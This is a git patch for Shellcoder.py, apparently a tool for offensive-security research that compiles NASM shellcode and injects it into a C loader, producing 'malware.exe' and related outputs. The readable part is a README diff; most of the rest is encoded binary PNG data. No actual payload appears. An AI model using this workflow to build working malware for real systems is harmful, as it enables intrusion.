From 57803faad864180e0caede613b364e43fe215e95 Mon Sep 17 00:00:00 2001 From: Print3M <92022497+Print3M@users.noreply.github.com> Date: Tue, 23 Jul 2024 16:30:39 +0200 Subject: [PATCH] Ready to go --- README.md | 61 ++++++++++++++++++----- _img/shellcoder-cli.png | Bin 0 -> 40295 bytes _img/shellcoder-output.png | Bin 0 -> 13033 bytes shellcode.asm | 87 ++++++++++++++++---------------- shellcode.asm.bak | 98 ------------------------------------- shellcoder.py | 2 +- 6 files changed, 94 insertions(+), 154 deletions(-) create mode 100644 _img/shellcoder-cli.png create mode 100644 _img/shellcoder-output.png delete mode 100644 shellcode.asm.bak diff --git a/README.md b/README.md index 88f94ec..7ab420a 100644 --- a/README.md +++ b/README.md @@ -1,21 +1,60 @@ -# Shellcoder.py +# Shellcoder.py 🐚⌨️ -Write your shellcode in Assembly and execute it with one command! +Write your shellcode in Assembly (NASM) and compile it on Windows x64 with one command! -This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command! +This script helps automate the shellcode development and testing process. It takes your Assembly file with the payload (`shellcode.asm`) and generates a bunch of useful executable files (read below). + +You don't have to repeat all these tedious activities anymore to make your shellcode executable! Keep your focus on shellcoding 🔥🐚🔥 + +## Installation + +The following software must be installed on your system: + +- [Python 3](https://www.python.org/downloads/) +- [NASM (Netwide Assembler)](https://www.nasm.us/) +- [Visual Studio 2022](https://visualstudio.microsoft.com/) + +No Python dependencies are necessary! You are ready to go. ## Usage -Shellcoder script most probably should be used on Windows because of the MSVC requirement. - 1. Write your shellcode in `shellcode.asm` 2. Run `python shellcoder.py` -3. Execute output `.exe` file in `out/` directory! +3. Execute `out/malware.exe` file! -> **IMPORTANT**: Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`. +![shellcoder.py command line output](/_img/shellcoder-cli.png) -## External dependencies +## Output files -- Python 3 -- NASM (Netwide Assembler) -- Visual Studio 2022 +The output files of this script are stored in `out/` directory: + +- `malware.c` - loader code with the injected payload as C string. +- `malware.exe` - compiled loader with the injected payload. +- `shellcode.exe` - executable file with the payload only. Great for debugging! +- `shellcode.bin` - raw machine code of the assembly payload. + +![shellcoder.py output files](/_img/shellcoder-output.png) + +## Caveats + +- Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`. +- Define entry point in assembly file (required for debugging): + +```nasm +[bits 64] + +section .text: + global _start + +_start: +[...YOUR CODE HERE...] +``` + +- You cannot use sections other than `.text`. It's a shellcode! +- Remember about [Microsoft x64 Calling Convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) (stack alignment + shadow space!) + +## How to debug the payload? + +The best way to debug your assembly code is to take `out/shellcode.exe` file and load it into your favorite debugger. + +Finally you should run `out/malware.exe` to be sure that your payload works as intended after memory injection. diff --git a/_img/shellcoder-cli.png b/_img/shellcoder-cli.png new file mode 100644 index 0000000000000000000000000000000000000000..572bbf696bedb59365ffa6db308a6fac4397f920 GIT binary patch literal 40295 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 